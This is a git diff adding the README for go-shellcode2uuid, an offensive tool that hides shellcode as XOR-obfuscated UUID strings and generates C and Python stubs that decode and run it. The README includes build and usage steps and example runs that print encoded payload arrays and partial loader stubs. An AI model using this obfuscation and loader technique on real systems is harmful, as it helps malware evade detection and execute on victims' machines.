added go-shellcode2uuid

1 files changed, 187 insertions, 0 deletions

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..2ceb97b
--- /dev/null
+++ b/README.md
@@ -0,0 +1,187 @@
+# go-shellcode2uuid
+
+`go-shellcode2uuid` is an offensive security utility that encodes arbitrary binary shellcode into UUID strings, generating C and Python stubs to decode and execute the shellcode at runtime. It supports Linux and Windows platforms, with optional single-byte XOR encoding for obfuscation.
+
+> **WARNING**: This tool is intended for **authorized security assessments only**. Misuse may violate laws or regulations. The author disclaims any responsibility for unlawful use. Always obtain explicit permission before conducting any security tests.
+
+## Features
+
+- **UUID encoding**: Converts raw shellcode bytes into UUID string literals for easy embedding.
+- **Multi-platform stubs**: Generates testing stubs for C (Linux and Windows), and Python.
+- **Optional XOR encoding**: Supports single-byte XOR encoding/decoding for lightweight obfuscation.
+- **Automatic shellcode padding**: Pads shellcode to a multiple of 16 bytes to fit UUID size.
+
+## Installation
+
+### Prerequisites
+
+- **Go**: Version 1.21 or later.
+- **Make**: For building with the provided Makefile.
+- **Git**: To clone the repository.
+
+### Steps
+
+- Clone the repository:
+
+```
+$ git clone https://cgit.heqnx.com/go-shellcode2uuid
+$ cd go-shellcode2uuid
+```
+
+- Install dependencies:
+
+```
+$ go mod tidy
+```
+
+- Build for all platforms:
+
+```
+$ make all
+```
+
+- Binaries will be generated in the build/ directory for Linux, Windows, and macOS; alternatively, build for a specific platform:
+
+```
+$ make linux-amd64
+$ make windows-amd64
+$ make darwin-arm64
+```
+
+## Usage
+
+### Command-Line Flags
+
+```
+Usage of ./go-shellcode2uuid-linux-amd64:
+  -file string
+        path to binary shellcode file
+  -stub string
+        stub language to output (c, cwin, py)
+  -xor
+        enable random single-byte XOR encoding
+```
+
+## Examples
+
+### Generate a Windows C stub with XOR encoding enabled:
+
+```
+$ ./go-shellcode2uuid -file shellcode_win.bin -stub cwin -xor
+[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes
+[inf] using XOR key: 0x1c
+e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d
+4a542dce-7954-974e-7c54-974e0454974e
+3c54976e-4c54-13ab-5656-512dd5542ddc
+b0207d60-1e30-3c5d-ddd5-115d1dddfef1
+4e5d4d54-974e-3c97-5e20-541dcc979c94
+1c1c1c54-99dc-687b-541d-cc4c97540458
+975c3c55-1dcc-ff4a-54e3-d55d97289454
+1dca512d-d554-2ddc-b05d-ddd5115d1ddd
+24fc69ed-501f-5038-1459-25cd69c44458
+975c3855-1dcc-7a5d-9710-5458975c0055
+1dcc5d97-1894-541d-cc5d-445d44424546
+5d445d45-5d46-549f-f03c-5d4ee3fc445d
+45465497-0ef5-4be3-e3e3-4154a61d1c1c
+1c1c1c1c-1c54-9191-1d1d-1c1c5da62d97
+739be3c9-a7fc-0136-165d-a6ba89a181e3
+c9549fd8-3420-1a60-169c-e7fc6919a75b
+0f6e7376-1c45-5d95-c6e3-c97f7d707f32
+7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c
+[inf] stub written to stub.c
+
+$ head -30 stub.c 
+// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
+#include <windows.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#define ORIGINAL_SHELLCODE_LENGTH 276
+
+const char* uuid_strings[] = {
+    "e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d",
+    "4a542dce-7954-974e-7c54-974e0454974e",
+    "3c54976e-4c54-13ab-5656-512dd5542ddc",
+    "b0207d60-1e30-3c5d-ddd5-115d1dddfef1",
+    "4e5d4d54-974e-3c97-5e20-541dcc979c94",
+    "1c1c1c54-99dc-687b-541d-cc4c97540458",
+    "975c3c55-1dcc-ff4a-54e3-d55d97289454",
+    "1dca512d-d554-2ddc-b05d-ddd5115d1ddd",
+    "24fc69ed-501f-5038-1459-25cd69c44458",
+    "975c3855-1dcc-7a5d-9710-5458975c0055",
+    "1dcc5d97-1894-541d-cc5d-445d44424546",
+    "5d445d45-5d46-549f-f03c-5d4ee3fc445d",
+    "45465497-0ef5-4be3-e3e3-4154a61d1c1c",
+    "1c1c1c1c-1c54-9191-1d1d-1c1c5da62d97",
+    "739be3c9-a7fc-0136-165d-a6ba89a181e3",
+    "c9549fd8-3420-1a60-169c-e7fc6919a75b",
+    "0f6e7376-1c45-5d95-c6e3-c97f7d707f32",
+    "7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c",
+};
+...
+```
+
+### Generate a Python stub with XOR encoding:
+
+```
+$ ./go-shellcode2uuid -file shellcode_linux.bin -stub py -xor
+[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes
+[inf] using XOR key: 0x09
+f5418aed-f9e1-c909-0909-485848595b58
+5f4138db-6c41-825b-6941-825b1141825b
+2941827b-5941-06be-4343-4438c04138c9
+a5356875-0b25-2948-c8c0-044808c8ebe4
+5b485841-825b-2982-4b35-4108d9828981
+09090941-8cc9-7d6e-4108-d9598241114d
+82492940-08d9-ea5f-41f6-c048823d8141
+08df4438-c041-38c9-a548-c8c0044808c8
+31e97cf8-450a-452d-014c-30d87cd1514d
+82492d40-08d9-6f48-8205-414d82491540
+08d94882-0d81-4108-d948-514851575053
+48514850-4853-418a-e529-485bf6e95148
+50534182-1be0-5ef6-f6f6-5441b3080909
+09090909-0941-8484-0808-090948b33882
+668ef6dc-b2e9-1423-0348-b3af9cb494f6
+dc418acd-2135-0f75-0389-f2e97c0cb24e
+1a7b6663-0950-4880-d3f6-dc6a68656a27
+6c716c09-0909-0909-0909-090909090909
+[inf] stub written to stub.py
+
+$ cat stub.py
+import uuid
+import mmap
+import ctypes
+
+uuids = [
+    'f5418aed-f9e1-c909-0909-485848595b58',
+    '5f4138db-6c41-825b-6941-825b1141825b',
+    '2941827b-5941-06be-4343-4438c04138c9',
+    'a5356875-0b25-2948-c8c0-044808c8ebe4',
+    '5b485841-825b-2982-4b35-4108d9828981',
+    '09090941-8cc9-7d6e-4108-d9598241114d',
+    '82492940-08d9-ea5f-41f6-c048823d8141',
+    '08df4438-c041-38c9-a548-c8c0044808c8',
+    '31e97cf8-450a-452d-014c-30d87cd1514d',
+    '82492d40-08d9-6f48-8205-414d82491540',
+    '08d94882-0d81-4108-d948-514851575053',
+    '48514850-4853-418a-e529-485bf6e95148',
+    '50534182-1be0-5ef6-f6f6-5441b3080909',
+    '09090909-0941-8484-0808-090948b33882',
+    '668ef6dc-b2e9-1423-0348-b3af9cb494f6',
+    'dc418acd-2135-0f75-0389-f2e97c0cb24e',
+    '1a7b6663-0950-4880-d3f6-dc6a68656a27',
+    '6c716c09-0909-0909-0909-090909090909',
+]
+...
+```
+
+- The tool prints the generated UUID strings to stdout and writes the stub source file (`stub.c` or `stub.py`).
+
+## License
+
+This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the [LICENSE](LICENSE) file for more details.
+
+## Disclaimer
+
+`go-shellcode2uuid` is provided "as is" without warranties. The author and contributors are not responsible for any misuse or damages resulting from use. This tool is for educational and authorized security testing purposes only.